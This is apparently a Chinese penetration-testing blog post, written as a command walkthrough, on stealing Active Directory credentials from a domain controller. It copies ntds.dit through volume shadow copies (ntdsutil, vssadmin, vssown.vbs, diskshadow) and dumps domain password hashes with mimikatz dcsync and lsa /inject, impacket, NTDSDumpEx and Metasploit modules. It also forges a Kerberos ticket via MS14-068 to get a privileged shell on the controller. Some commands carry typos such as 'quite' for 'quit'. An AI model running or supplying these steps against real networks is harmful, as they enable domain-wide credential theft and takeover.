域控制器安全

前言

通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\windows\NTDS\ntds.dit文件(活动目录始终访问这个文件)。使用windows本地卷影拷贝服务,就可以获得文件的副本。

使用卷影拷贝服务提取ntds.dit

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,储存位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名,散列值,组,GPP,OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。

  • 使用ntdsutil.exe提取ntds.dit
    ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库,控制单个主机操作,创建引用程序目录分区,删除由未使用活动目录安装向导成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统由windows server2003,windows server 2008,windwos server 2012。

在域控制器的命令行环境中输入如下命令,创建快照。

1
ntdsutil snapshot "activate instance ntds" create quit quit

image-20240107171533778

可以看到创建了一个GUID为0c5ecd15-d722-41fa-9e0a-424c4d19ac64的快照

加载刚刚的快照

1
ntdsutil snapshot "mount {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" quite quite

image-20240107171646050使用如下命令将文件复制出来

1
copy C:\$SNAP_202106071917_VOLUMEC$\windows\ntds\ntds.dit  c:\temp\ntds.dit

image-20240107171654449输入如下命令将之前加载的快照卸载并删除

1
ntdsutil snapshot "unmount {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" "delete {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" quite quite

image-20240107171703160

查看当前系统中的所有快照

1
ntdsutil snapshot "List All" quite quite

image-20240107171710594
之前创的没有删除所以有这么多

  • 利用vssadmin提取ntds,dit
    vssadmin是windows server 2008 及windows 7提供的vss管理工具,可用于创建和删除卷影拷贝,列出卷影拷贝的信息(只能管理系统provider创建的卷影拷贝),显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的储存空间。

创建一个c盘卷影

1
vssadmin create shadow /for=c:

image-20240107171950663

在创建的卷影拷贝中将ntds.dit复制出来。

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit  c:\ntds.dit

image-20240107171957880删除卷影

1
vssadmin delete shadows /for=c: /quiet

image-20240107172032840

  • 利用vssown.vbs脚本提取ntds.dit
1
2
3
4
5
6
7
8
#启动卷影拷贝服务
cscript vssown.vbs /start
#创建一个c盘的卷影拷贝
cscript vssown.vbs /create c
#列出当前卷影拷贝
cscript vssown.vbs /list
#删除卷影拷贝
cscript vssown.vbs /delete {GUID}

image-20240107172041493
image-20240107172108749
然后可以通过copy命令将其复制出来

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
  • 使用ntdsutil的IFM创建卷影拷贝
    在域控制器中以管理员模式打开命令行环境,输入如下命令
1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

image-20240107172139085
image-20240107172146934将其拖到本地后删除

1
rmdir /s/q test

image-20240107172223341

  • 使用diskshadow导出ntds.dit
    在渗透测试中可以使用diskshadow.exe来执行命令。例如将需要执行的命令”exec c:\windows\system32\calc.exe”
    写入C盘目录下的command.txt文件
    1
    diskshadow /s c:\command.txt
    image-20240107172232775

使用diskshadow.exe也可以用来导出ntds.dit。将如下命令写入一个文本文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
delete shadows all
list shadows all
reset
exit


diskshadow /s c:\Users\de1ay\Desktop\command.txt

reg save hklm\system c:\system.hive

image-20240107172240939
成功导出

导出ntds.dit中散列值

1
esedbexport -m tables ntds.dit

image-20240107172252334

2.导出散列值

ntdsxtract

  • 使用impacket工具包导出散列值

impacket-secretsdump

  • 在windows在解析ntds.dit
1
.\NTDSDumpEx.exe -d ntds.dit -s .\system.hive

image-20240107172307879

利用dcsync获取域散列值

  • 使用mimikatz转储域散列值
    以域管理员权限打开命令行环境,运行mimikatz。输入如下命令,使用mimikatz导出域内的所有用户及散列值
1
lsadump::dcsync /domain:de1ay.com /all /csv

image-20240107172430351

使用mimikatz的dcsync功能也可以导出指定用户的散列值

1
lsadump::dcsync /domain:de1ay.com /user:de1ay

image-20240107172442051
也可以直接在域控制器中运行Mimikatz,通过转储lsass.exe进程对散列值进行Dump操作

1
2
privilege::debug
lsadump::lsa /inject

image-20240107172451207

  • 使用dcsync获取账号和域散列值
    Invoke-DCSync.ps1可以利用dcsync直接读取ntds.dit,以获取域账号和域散列值
1
Invoke-DCSync -PWDumpFormat

image-20240107172507284

项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

使用msf获取域散列值

  • psexec_ntdsgrad

    1
    use auxiliary/admin/smb/psexec_ntdsgrad

    设置好参数后运行即可,会将ntds.dit和SYSTEM项复制并传送到/root/.msf4/loot/文件夹下
    拿到两个文件后就可以用工具进行解密了

  • 基于msf会话获取域账号和散列值
    比如已经获取到一个会话了
    然后使用

1
use windows/gather/credentials/domain_hashdump

就会导出域中的全部hash值

  • ms14-068漏洞
1
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum

image-20240107172516032

接下来进行格式转换,msf不支持bin文件导出,所以要用mimikatz文件进行格式转换.在mimikatz输入命令,导出kirbi格式文件

1
kerberos::clist "20210609221820_default_192.168.43.16_windows.kerberos_125881.bin" /export

image-20240107172524015
比如现在有一个低权限shell
image-20240107172531778
输入 load kiwi 命令,然后输入”kerberos_ticket_use /root/0-00000000-de1ay@krbtgt-DE1AY.COM.kirbi“命令,将票据导入,接着输入 background命令,切换到meterpreter后台,使用高票据进行测试

1
2
3
4
use exploit/windows/local/current_user_psexec
set technique psh
set rhosts DC.de1ay.com
set session 1

就会得到高权限


域控制器安全
http://idea-oss.github.io/2022/06/15/域控制器安全/域控制器安全/
作者
iDea
发布于
2022年6月15日
许可协议